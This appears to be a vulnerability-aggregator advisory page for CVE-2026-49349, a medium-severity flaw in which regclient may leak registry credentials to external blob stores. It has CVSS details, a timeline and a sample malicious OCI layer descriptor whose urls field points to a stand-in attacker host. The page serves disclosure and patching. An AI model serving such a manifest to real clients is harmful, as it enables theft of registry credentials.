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🛡️ CVE-2026-49349 — regclient

🟡 CVSS 6.8 — Medium ✅ No Known Exploit CWE-522 NVD
6.8
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

regclient may leak authentication credentials to external blob stores

Credentials for a registry may be inadvertently leaked to external servers. A prerequisite for this attack is a malicious registry server, a malicious blob store, or a registry that does not restrict the external URLs for foreign blobs.

Example attack

A malicious registry serves an OCI image manifest containing a layer descriptor with a urls field pointing to an attacker controlled host:

```json

{

"mediaType": "application/vnd.oci.image.layer.v1.tar+gzip",

"digest": "sha256:...",

"size": 1024,

"urls": ["https://malicious.example.org/blobs/sha256/..."]

}

```

When regclient fetches the image and the primary blob request to the registry fails, it falls back to the URLs in the layer descriptor. If the external server requests authentication, regclient would send the credentials for the original registry server.

Timeline

  • 2026-05-25: Advisory submitted
  • 2026-05-26: Fix released

Credit

Theodoros Lampropoulos, Threat Detection Engineer, Odyssey Cyber Security

How this vulnerability can be exploited

This issue can be reached over the network, attack complexity is low, an attacker needs low-level privileges on the target. A user must be tricked into taking some action. The scope is changed, meaning a successful attack can affect components beyond the vulnerable one. Rated impact: confidentiality high, integrity none, availability none.

CVSS metrics in full

The score comes from this vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:N/A:N

  • Attack vector: Network — reachable from anywhere that can route to the service.
  • Attack complexity: Low — the attack works reliably, with no preparation.
  • Privileges required: Low — an ordinary user account is enough.
  • User interaction: Required — someone has to click, open or visit something.
  • Scope: Changed — a successful attack reaches components beyond the vulnerable one.
  • Confidentiality impact: High — total loss, or loss the attacker controls.
  • Integrity impact: None.
  • Availability impact: None.

Weakness class

CVE-2026-49349 is classified as CWE-522: Insufficiently Protected Credentials. Credentials are stored or transmitted with protection too weak for what they unlock.

Affected software

CVE-2026-49349 is recorded against 2 packages.

  • github.com/regclient/regclient
  • unknown

Timeline and source

Published on 26 June 2026 and last revised on 7 July 2026. No public exploit is currently recorded for this entry. Record sourced from NVD.

References

github.com (Web)
github.com (Package)

Other advisories for this package

github.com/regclient/regclient has other advisories on record. If you are patching this one, these are worth checking on the same host:

Same weakness in other software

These advisories are the same class of weakness (CWE-522: Insufficiently Protected Credentials) in other software:

Details

Severity Medium
CVSS Score 6.8
CVSS Vector CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:N/A:N
CWE CWE-522
Public Exploit ✅ No
Source NVD
Published 2026-06-26
Updated 2026-08-20
Modified 2026-07-07
Fix URL N/A

Affected Packages

Software From version Fixed in
github.com/regclient/regclient — —
unknown — —

Similar Threats

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ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.

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